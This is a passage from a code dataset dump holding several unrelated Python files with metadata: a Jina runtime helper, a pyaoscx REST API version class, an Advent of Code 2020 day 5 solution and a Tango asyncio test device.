multiprocessing\nimport threading\nfrom copy import deepcopy\nfrom functools import partial\nfrom typing import Union, TYPE_CHECKING\n\nfrom ... import __default_host__\nfrom ...enums import GatewayProtocolType, RuntimeBackendType\nfrom ...hubble.helper import is_valid_huburi\nfrom ...hubble.hubio import HubIO\n\nif TYPE_CHECKING:\n from argparse import Namespace\n\n\ndef _get_event(obj) -> Union[multiprocessing.Event, threading.Event]:\n if isinstance(obj, threading.Thread):\n return threading.Event()\n elif isinstance(obj, multiprocessing.Process) or isinstance(\n obj, multiprocessing.context.ForkProcess\n ):\n return multiprocessing.Event()\n elif isinstance(obj, multiprocessing.context.SpawnProcess):\n return multiprocessing.get_context('spawn').Event()\n else:\n raise TypeError(\n f'{obj} is not an instance of \"threading.Thread\" nor \"multiprocessing.Process\"'\n )\n\n\nclass ConditionalEvent:\n \"\"\"\n :class:`ConditionalEvent` provides a common interface to an event (multiprocessing or threading event)\n that gets triggered when any of the events provided in input is triggered (OR logic)\n\n :param backend_runtime: The runtime type to decide which type of Event to instantiate\n :param events_list: The list of events that compose this composable event\n \"\"\"\n\n def __init__(self, backend_runtime: RuntimeBackendType, events_list):\n super().__init__()\n self.event = None\n if backend_runtime == RuntimeBackendType.THREAD:\n self.event = threading.Event()\n else:\n self.event = multiprocessing.synchronize.Event(\n ctx=multiprocessing.get_context()\n )\n self.event_list = events_list\n for e in events_list:\n self._setup(e, self._state_changed)\n\n self._state_changed()\n\n def _state_changed(self):\n bools = [e.is_set() for e in self.event_list]\n if any(bools):\n self.event.set()\n else:\n self.event.clear()\n\n def _custom_set(self, e):\n e._set()\n e._state_changed()\n\n def _custom_clear(self, e):\n e._clear()\n e._state_changed()\n\n def _setup(self, e, changed_callback):\n e._set = e.set\n e._clear = e.clear\n e._state_changed = changed_callback\n e.set = partial(self._custom_set, e)\n e.clear = partial(self._custom_clear, e)\n\n\ndef update_runtime_cls(args, copy=False) -> 'Namespace':\n \"\"\"Get runtime_cls as a string from args\n\n :param args: pea/pod namespace args\n :param copy: True if args shouldn't be modified in-place\n :return: runtime class as a string\n \"\"\"\n _args = deepcopy(args) if copy else args\n gateway_runtime_dict = {\n GatewayProtocolType.GRPC: 'GRPCRuntime',\n GatewayProtocolType.WEBSOCKET: 'WebSocketRuntime',\n GatewayProtocolType.HTTP: 'HTTPRuntime',\n }\n if (\n _args.runtime_cls not in gateway_runtime_dict.values()\n and _args.host != __default_host__\n and not _args.disable_remote\n ):\n _args.runtime_cls = 'JinadRuntime'\n # NOTE: remote pea would also create a remote workspace which might take alot of time.\n # setting it to -1 so that wait_start_success doesn't fail\n _args.timeout_ready = -1\n if _args.runtime_cls == 'ZEDRuntime' and _args.uses.startswith('docker://'):\n _args.runtime_cls = 'ContainerRuntime'\n if _args.runtime_cls == 'ZEDRuntime' and is_valid_huburi(_args.uses):\n _hub_args = deepcopy(_args)\n _hub_args.uri = _args.uses\n _hub_args.no_usage = True\n _args.uses = HubIO(_hub_args).pull()\n\n if _args.uses.startswith('docker://'):\n _args.runtime_cls = 'ContainerRuntime'\n\n if hasattr(_args, 'protocol'):\n _args.runtime_cls = gateway_runtime_dict[_args.protocol]\n\n return _args\n", "sub_path": "jina/peapods/peas/helper.py", "file_name": "helper.py", "file_ext": "py", "file_size_in_byte": 3877, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "typing.TYPE_CHECKING", "line_number": 12, "usage_type": "name"}, {"api_name": "threading.Thread", "line_number": 17, "usage_type": "attribute"}, {"api_name": "threading.Event", "line_number": 18, "usage_type": "call"}, {"api_name": "multiprocessing.Process", "line_number": 19, "usage_type": "attribute"}, {"api_name": "multiprocessing.context", "line_number": 20, "usage_type": "attribute"}, {"api_name": "multiprocessing.Event", "line_number": 22, "usage_type": "call"}, {"api_name": "multiprocessing.context", "line_number": 23, "usage_type": "attribute"}, {"api_name": "multiprocessing.get_context", "line_number": 24, "usage_type": "call"}, {"api_name": "typing.Union", "line_number": 16, "usage_type": "name"}, {"api_name": "multiprocessing.Event", "line_number": 16, "usage_type": "attribute"}, {"api_name": "threading.Event", "line_number": 16, "usage_type": "attribute"}, {"api_name": "enums.RuntimeBackendType", "line_number": 40, "usage_type": "name"}, {"api_name": "enums.RuntimeBackendType.THREAD", "line_number": 43, "usage_type": "attribute"}, {"api_name": "enums.RuntimeBackendType", "line_number": 43, "usage_type": "name"}, {"api_name": "threading.Event", "line_number": 44, "usage_type": "call"}, {"api_name": "multiprocessing.synchronize.Event", "line_number": 46, "usage_type": "call"}, {"api_name": "multiprocessing.synchronize", "line_number": 46, "usage_type": "attribute"}, {"api_name": "multiprocessing.get_context", "line_number": 47, "usage_type": "call"}, {"api_name": "functools.partial", "line_number": 74, "usage_type": "call"}, {"api_name": "functools.partial", "line_number": 75, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 85, "usage_type": "call"}, {"api_name": "enums.GatewayProtocolType.GRPC", "line_number": 87, "usage_type": "attribute"}, {"api_name": "enums.GatewayProtocolType", "line_number": 87, "usage_type": "name"}, {"api_name": "enums.GatewayProtocolType.WEBSOCKET", "line_number": 88, "usage_type": "attribute"}, {"api_name": "enums.GatewayProtocolType", "line_number": 88, "usage_type": "name"}, {"api_name": "enums.GatewayProtocolType.HTTP", "line_number": 89, "usage_type": "attribute"}, {"api_name": "enums.GatewayProtocolType", "line_number": 89, "usage_type": "name"}, {"api_name": "hubble.helper.is_valid_huburi", "line_number": 102, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 103, "usage_type": "call"}, {"api_name": "hubble.hubio.HubIO", "line_number": 106, "usage_type": "call"}]} +{"seq_id": "342352690", "text": "# (C) Copyright 2019-2021 Hewlett Packard Enterprise Development LP.\n# Apache License 2.0\n\nfrom datetime import date\n\nfrom pyaoscx.api import API\n\n\nclass v10_08(API):\n \"\"\"\n Represents a REST API Version 10.08. It keeps all the information needed\n for the version and methods related to it.\n \"\"\"\n\n def __init__(self):\n self.release_date = date(2021, 6, 21)\n self.version = \"10.08\"\n self.default_selector = \"writable\"\n self.default_depth = 1\n self.default_facts_depth = 2\n self.default_subsystem_facts_depth = 4\n self.valid_selectors = [\n \"configuration\",\n \"status\",\n \"statistics\",\n \"writable\",\n ]\n self.configurable_selectors = [\"writable\"]\n self.compound_index_separator = \",\"\n self.valid_depths = [0, 1, 2, 3, 4]\n\n def _create_ospf_area(self, module_class, session, index_id, **kwargs):\n if \"other_config\" not in kwargs:\n # If user does not pass value for other_config provide default\n # value, it's needed for correct OSPF Area creation\n kwargs[\"other_config\"] = {\n \"stub_default_cost\": 1,\n \"stub_metric_type\": \"metric_non_comparable\",\n }\n return module_class(session, index_id, **kwargs)\n", "sub_path": "pyaoscx/rest/v10_08/api.py", "file_name": "api.py", "file_ext": "py", "file_size_in_byte": 1322, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "pyaoscx.api.API", "line_number": 9, "usage_type": "name"}, {"api_name": "datetime.date", "line_number": 16, "usage_type": "call"}]} +{"seq_id": "292077456", "text": "#! /usr/bin/env python3\n\nimport os\nimport requests\nfrom dotenv import load_dotenv\n\ndayN = 5\n################ GRAB INPUT ################\ndir_path = os.path.dirname(os.path.realpath(__file__))\ninput_file_path = f\"{dir_path}/input/day{dayN}.txt\"\nurl = f\"https://adventofcode.com/2020/day/{dayN}/input\"\n\nload_dotenv(verbose=True, dotenv_path=f\"{dir_path}/.env\")\n\nif os.path.exists(input_file_path):\n print(\"Input file exists!\")\nelse:\n print(\"Grabbing input file!\")\n secret = dict(session=os.getenv(\"AOC_SESSION\"))\n\n r = requests.get(url, allow_redirects=False, cookies=secret)\n open(input_file_path, 'wb').write(r.content)\n\nwith open(input_file_path, 'r') as file:\n input = file.read()\n\n################ COMPUTE - DAY 5.1 ################\n\ntix = input.strip().split()\n# ex ticket: FBFBBFFRLR\n# first 7 chars -> row (front / back)\n# last 3 chars -> col (left / right)\n\n# t 'F'/'L' 'B'/'R' 128/8 0/8 8/10\ndef getPos(ticket, lilChar, bigChar, size, strStart, strEnd):\n w = size\n lo = 0\n hi = size - 1\n\n for c in range(strStart, strEnd):\n w //= 2 # floor division\n if ticket[c] == lilChar:\n hi -= w\n elif ticket[c] == bigChar:\n lo += w\n\n return lo\n\ndef getRow(t):\n return getPos(t, 'F', 'B', 128, 0, 7)\n\ndef getCol(t):\n return getPos(t, 'L', 'R', 8, 7, 10)\n\n# Tests\n# print(getRow(\"FBFBBFFRLR\")) # row 44\n# print(getRow(\"BFFFBBFRRR\")) # row 70\n# print(getRow(\"FFFBBBFRRR\")) # row 14\n# print(getRow(\"BBFFBBFRLL\")) # row 102\n\n# print(getCol(\"FBFBBFFRLR\")) # col 5\n# print(getCol(\"BFFFBBFRRR\")) # col 7\n# print(getCol(\"FFFBBBFRRR\")) # col 7\n# print(getCol(\"BBFFBBFRLL\")) # col 4\n\nids = [getRow(t) * 8 + getCol(t) for t in tix]\nmax = max(ids)\nprint(max)\n\n################ COMPUTE - DAY 5.2 ################\n\nids.sort()\nmiddle = ids[1:len(ids)-1]\n\n# look for the gap\nfor i, id in enumerate(middle):\n if i != 0 and (id != middle[i-1] + 1): # negative indices wrap around (?)\n print(id - 1)\n", "sub_path": "day5.py", "file_name": "day5.py", "file_ext": "py", "file_size_in_byte": 1998, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "os.path.dirname", "line_number": 9, "usage_type": "call"}, {"api_name": "os.path", "line_number": 9, "usage_type": "attribute"}, {"api_name": "os.path.realpath", "line_number": 9, "usage_type": "call"}, {"api_name": "dotenv.load_dotenv", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 15, "usage_type": "call"}, {"api_name": "os.path", "line_number": 15, "usage_type": "attribute"}, {"api_name": "os.getenv", "line_number": 19, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 21, "usage_type": "call"}]} +{"seq_id": "223798727", "text": "import asyncio\nimport json\nimport os\nimport random\n\nfrom tango import Database, DbDevInfo, ErrSeverity, Except, GreenMode\nfrom tango.server import Device, attribute, command\n\n\nclass TestDevice(Device):\n green_mode = GreenMode.Asyncio\n\n def init_device(self):\n super().init_device()\n # double scalars\n self.__non_polled_attr_1 = random.uniform(0, 150)\n self.__non_polled_attr_2 = random.uniform(0, 150)\n self.__non_polled_attr_3 = random.uniform(0, 150)\n self.__non_polled_attr_4 = random.uniform(0, 150)\n self.__non_polled_attr_5 = random.uniform(0, 150)\n # long scalars\n self.__polled_attr_1 = random.randint(0, 150)\n self.__polled_attr_2 = random.randint(0, 150)\n self.__polled_attr_3 = random.randint(0, 150)\n self.__polled_attr_4 = random.randint(0, 150)\n self.__polled_attr_5 = random.randint(0, 150)\n # set manual change event for double scalars\n for idx in range(1, 6):\n self.set_change_event(f\"non_polled_attr_{idx}\", True, False)\n\n # ---------------------\n # Non polled attributes\n # ---------------------\n @attribute(\n dtype=\"double\",\n )\n async def non_polled_attr_1(self):\n return self.__non_polled_attr_1\n\n @attribute(\n dtype=\"double\",\n )\n async def non_polled_attr_2(self):\n return self.__non_polled_attr_2\n\n @attribute(\n dtype=\"double\",\n )\n async def non_polled_attr_3(self):\n return self.__non_polled_attr_3\n\n @attribute(\n dtype=\"double\",\n )\n async def non_polled_attr_4(self):\n return self.__non_polled_attr_4\n\n @attribute(\n dtype=\"double\",\n )\n async def non_polled_attr_5(self):\n return self.__non_polled_attr_5\n\n # -----------------\n # Polled attributes\n # -----------------\n @attribute(\n dtype=\"int\",\n polling_period=2000,\n rel_change=\"0.5\",\n abs_change=\"1\",\n )\n async def polled_attr_1(self):\n return int(self.__polled_attr_1)\n\n @attribute(\n dtype=\"int\",\n polling_period=2000,\n rel_change=\"1\",\n abs_change=\"1\",\n )\n async def polled_attr_2(self):\n return int(self.__polled_attr_2)\n\n @attribute(\n dtype=\"int\",\n polling_period=500,\n rel_change=\"1.5\",\n abs_change=\"1\",\n )\n async def polled_attr_3(self):\n return int(self.__polled_attr_3)\n\n @attribute(\n dtype=\"int\",\n polling_period=1000,\n rel_change=\"1.7\",\n abs_change=\"1\",\n )\n async def polled_attr_4(self):\n return int(self.__polled_attr_4)\n\n @attribute(\n dtype=\"int\",\n polling_period=1000,\n rel_change=\"1.7\",\n abs_change=\"1\",\n )\n async def polled_attr_5(self):\n return int(self.__polled_attr_5)\n\n # -------\n # Command\n # --------\n @command()\n async def RaiseException(self):\n Except.throw_exception(\n \"TestDevice command failed\",\n \"Something wrong occured.\",\n \"Do something else\",\n ErrSeverity.ERR,\n )\n\n @command(\n dtype_in=float,\n doc_in=\"A floating number representing the command execution latency\",\n dtype_out=\"str\",\n doc_out=\"Some dummy message.\",\n )\n async def ExecuteWithADelay(self, latency):\n await asyncio.sleep(latency)\n return f\"ExecuteWithADelay command finished executing after {latency} seconds.\" # noqa E501\n\n @command(\n dtype_in=\"str\",\n doc_in=\"A json string: \"\n \"{ 'attribute':''\"\n \" 'event_delay': '